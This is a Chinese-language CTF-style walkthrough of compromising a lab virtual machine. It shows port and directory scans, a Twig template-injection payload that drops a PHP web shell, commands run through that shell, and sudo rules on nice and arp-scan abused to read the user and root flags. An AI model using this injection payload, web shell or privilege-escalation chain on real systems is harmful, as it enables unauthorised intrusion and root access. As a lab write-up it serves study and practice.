

扫描服务器发现只开放了 80 端口

```
(kali㉿kali)-[~]
└─$ nmap -p- --min-rate 3000 192.168.56.103
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-14 04:49 EDT
Nmap scan report for bogon (192.168.56.103)
Host is up (0.00054s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT      STATE SERVICE
80/tcp    open  http

Nmap done: 1 IP address (1 host up) scanned in 44.00 seconds
```

在前端七试八试，各各种标签闭合全试了一遍拼尽全力无法战胜，不如扫描一下网站

```
(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.56.103 -w /usr/share/wordlists/dirb/common.txt
=====
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://192.168.56.103
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
=====
Starting gobuster in directory enumeration mode
=====
./htaccess (Status: 403) [Size: 317]
./htpasswd (Status: 403) [Size: 317]
./hta (Status: 403) [Size: 317]
/cache (Status: 301) [Size: 354] [--> http://192.168.56.103/cache/]
/index.php (Status: 200) [Size: 8700]
/src (Status: 301) [Size: 352] [--> http://192.168.56.103/src/]
/templates (Status: 301) [Size: 358] [--> http://192.168.56.103/templates/]
/vendor (Status: 301) [Size: 355] [--> http://192.168.56.103/vendor/]
/server-status (Status: 403) [Size: 317]
Progress: 4613 / 4613 (100.00%)
=====
Finished
=====
```

试着访问可以找到网站的配置 json，其中指出前端用到了这种模板语法



Twig Template Engine

<https://twig.symfony.com> · [翻譯這個網頁](#) ；

Twig - The flexible, fast, and secure PHP template engine

Twig supports everything you need to build powerful templates with ease: multiple inheritance, blocks, automatic output-escaping, and much more.

尝试用 {{ }} 注入，发现可以，下一步就可以上传木马

```
{{ ["echo '<?php @system($_GET["cmd"]); ?>' > /var/www/html/eval.php"] |
map("passthru") | join }}
```

然后信息收集发现 apache 可以无需密码执行 lanyangyang 的 nice

```
[root@LAPTOP-NAHBC6PD ChunJiu]# curl "http://192.168.56.103/eval.php?cmd=whoami"
apache
[root@LAPTOP-NAHBC6PD ChunJiu]# curl "http://192.168.56.103/eval.php?cmd=id"
uid=101(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache)
[root@LAPTOP-NAHBC6PD ChunJiu]# curl "http://192.168.56.103/eval.php?cmd=sudo%20-l"
Matching Defaults entries for apache on sudo:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for apache:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User apache may run the following commands on sudo:
(lanyangyang) NOPASSWD: /bin/nice
```

get 一下就有

```
[root@LAPTOP-NAHBC6PD ChunJiu]# curl "http://192.168.56.103/eval.php?cmd=sudo%20-u%20lanyangyang%20nice%20cat%20/home/lanyangyang/user.txt"
flag{user-da4e2b9944cf4d0389a894c8d718444f}
```

既然通过 nice 获得到了 lanyangyang 的权限，那就可以套娃一样地利用 nice 做进一步信息收集

```
[root@LAPTOP-NAHBC6PD ChunJiu]# curl "http://192.168.56.103/eval.php?cmd=sudo%20-u%20lanyangyang%20nice%20sudo%20-l"
Matching Defaults entries for lanyangyang on sudo:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for lanyangyang:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User lanyangyang may run the following commands on sudo:
(ALL) NOPASSWD: /usr/bin/arp-scan
```

```
[root@LAPTOP-NAHBC6PD ChunJiu]# curl "http://192.168.56.103/eval.php?cmd=sudo%20-u%20lanyangyang%20nice%20sudo%20arp-scan%20--help"
Usage: arp-scan [options] [hosts...]

Target hosts must be specified on the command line unless the --file or
--localnet option is used.

arp-scan uses raw sockets, which requires privileges on some systems:

Linux with POSIX.1e capabilities support using libcap:
    arp-scan is capabilities aware. It requires CAP_NET_RAW in the permitted
    set and only enables that capability for the required functions.
BSD and macOS:
    You need read/write access to /dev/bpf*
Any operating system:
    Running as root or SUID root will work on any OS but other methods
    are preferable where possible.

Targets can be IPv4 addresses or hostnames. You can also use CIDR notation
(10.0.0.0/24) (network and broadcast included), ranges (10.0.0.1-10.0.0.10),
and network:mask (10.0.0.0:255.255.255.0).
```

arp-scan 的 -f 允许用户指定一个包含 IP 地址列表的文本文件，如果根本就不是，可能会报错，报错内容可能包含“非预期的 IP 地址”

只要输出报错信息就行

```
[root@LAPTOP-NAHBC6PD ChunJiu]# curl 'http://192.168.56.103/eval.php?cmd=sudo%20-u%20lanyangyang%20nice%20sudo%20arp-scan%20-f%20/root/root.txt%20%3E%261'
Interface: eth0, type: EN10MB, MAC: 08:00:27:d6:69:f2, IPv4: 192.168.56.103
WARNING: get_host_address failed for "flag{root-8438726c502a452d997ba300afac30fe}": Try again - target ignored
ERROR: No hosts to process.
```